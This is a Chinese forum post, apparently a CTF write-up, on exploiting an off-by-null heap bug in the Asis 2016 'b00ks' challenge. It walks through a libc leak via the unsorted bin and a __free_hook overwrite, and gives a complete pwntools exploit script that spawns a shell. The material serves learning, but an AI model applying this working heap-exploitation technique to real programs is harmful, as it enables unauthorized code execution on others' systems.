首页
社区
课程
招聘
[原创]PWN学习笔记【堆】【off-by-null】【Asis_2016_b00ks】
2022-6-21 11:36 15537

[原创]PWN学习笔记【堆】【off-by-null】【Asis_2016_b00ks】

2022-6-21 11:36
15537

0x01 题目分析

1.题目是图书管理功能:

2.其中book结构为:

3.author_name和books_list在全局变量中的内存布局:


4.read_data函数存在off-by-null漏洞,会比传入参数len多读一个字节'\0'

5.read_author_name函数调用漏洞函数读32个字节,实际读入33字节,根据上面的内存布局可以看到,最后一个字节'\0'会覆盖到books_list的第一个字节


6. AddBook的伪代码如下:

malloc3次,依次为 book_name(传入长度)、book_description(传入长度)、和BOOK(32字节)结构体

7. DeleteBook伪代码如下:

0x02 步骤

1. 创建book1,使(book1.book_description & 0xff == 0) && (&book1 & 0xffffffffffffff00 == book1.book_description & 0xffffffffffffff00)

2. 创建book2,使book2.book_description释放后进入unsorted bin中,用来泄露glibc,原理参考:Leak main_arena,glibc

3. 创建book3,使book3.book_name='/bin/sh',用来free_hook的时候给system()传参

4. 使用EditBook()函数, 修改book1.book_description,在这里伪造book结构体,使伪造的结构体:

    leak_book.id=1

    leak_book.bookname=book2.bookname

    leak_book.description=&book3.description

    leak_book.description_len=0x20

5. 使用DeleteBook()函数,删除book2,这时book2.bookname的地址刚好是chunk的fd,此时指向main_arena+88的位置,打印leak_book.bookname即可拿到这个地址

6. 计算__free_hook的地址,使用EditBook()函数修改leak_book.description的内容,刚好从&book3.description开始覆盖,从而达到任意写。把book3.description的地址改成__free_hook

7. 使用EditBook()函数修改book3.description,这时book3.description指向__free_hook,修改成system函数的地址

8.使用DeleteBook()函数,删除book3,这时第一个free中会调用system(book3.book_name),而book3.book_name='/bin/sh',成功拿shell



0x03 exp

from pwn import *

context.log_level = 'debug'

sh = process("./b00ks")
libc = ELF("/usr/local/glibc-2.23/lib/libc.so.6")

def pause_debug():
    try:
        raise Exception
    except:
        f = sys.exc_info()[2].tb_frame.f_back

    debug("pause_debug [%d]" %f.f_lineno)
    pause()
    return

def AddBook(bookNameLen, bookName, descriptionLen, description):
    sh.sendlineafter(b"> ", b"1")
    sh.sendlineafter(b"Enter book name size: ", str(bookNameLen).encode())
    sh.sendlineafter(b"Enter book name (Max 32 chars): ", bookName)
    sh.sendlineafter(b"Enter book description size: ", str(descriptionLen).encode())
    sh.sendlineafter(b"Enter book description: ", description)

def DeleteBook(id):
    sh.sendlineafter(b"> ", b"2")
    sh.sendlineafter(b"Enter the book id you want to delete: ", str(id).encode())

def EditBook(id, description):
    sh.sendlineafter(b"> ", b"3")
    sh.sendlineafter(b"Enter the book id you want to edit: ", str(id).encode())
    success("description: %s" %description)
    success(description)
    sh.sendlineafter(b"Enter new book description: ", description)

def PrintBookList():
    sh.sendlineafter(b"> ", b"4")

def SetAuthorName(name):
    sh.sendlineafter(b"> ", b"5")
    sh.sendlineafter(b"Enter author name: ", name)


gdb.attach(sh)#, "b *$rebase(0xE17)\nc"
sh.sendlineafter(b"Enter author name: ", 'A'*32)

AddBook(0xd0, b'book1', 0x20, "book1 bu shi wo xie de")# &book1.description & 0xff = 0
PrintBookList()

sh.recvuntil(b'A' * 32)
p_book1 = sh.recv(6)
p_book1 = p_book1.ljust(8, b'\x00')
p_book1 = u64(p_book1)
success("p_book1:%x" %p_book1)
# pause_debug()

AddBook(0x80, b'book2', 0x20, "book2 ye bu shi wo xie de")
AddBook(0x8, b'/bin/sh', 0x20, "book3 hai bu shi wo xie de")

payload = flat([
    p64(1),#leak_book.id=1
    p64(p_book1 + 0x20 + 0x10),#leak_book.bookname=book2.bookname=book2.bookname_chunk.fd
    p64(p_book1 + 0x20 + 0x160),#leak_book.description=&book3.description
    p64(0x20)#leak_book.description_len=0x20
])
EditBook(1,payload)

SetAuthorName(b'A' * 32)
# pause_debug()

DeleteBook(2)
pause_debug()

PrintBookList()
pause_debug()

sh.recvuntil("Name: ")
main_arena_88 = sh.recv(6)
main_arena_88 = u64(main_arena_88.ljust(8, b'\x00'))
success("main_arena_88:0x%08x", main_arena_88)

success("libc.sym['main_arena']:0x%x" %libc.sym['main_arena'])
libcBase = main_arena_88 - 88 - libc.sym['main_arena']
success("libcBase:0x%08x", libcBase)
pause_debug()

__free_hook_addr = libcBase + libc.sym['__free_hook']
success("__free_hook:0x%08x", __free_hook_addr)

payload = flat([
    p64(__free_hook_addr),
    p64(0x20)
])
EditBook(1, payload)
pause_debug()

EditBook(3, p64(libcBase + libc.sym['system']))
pause_debug()

DeleteBook(3)
sh.interactive()


exp代码里一堆pause,导致每次暂停不晓得在哪里,用pause_debug()这个可以打印暂停的行号,hin方便~


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-6-21 12:29 被洋洋不得意编辑 ,原因:
上传的附件:
收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回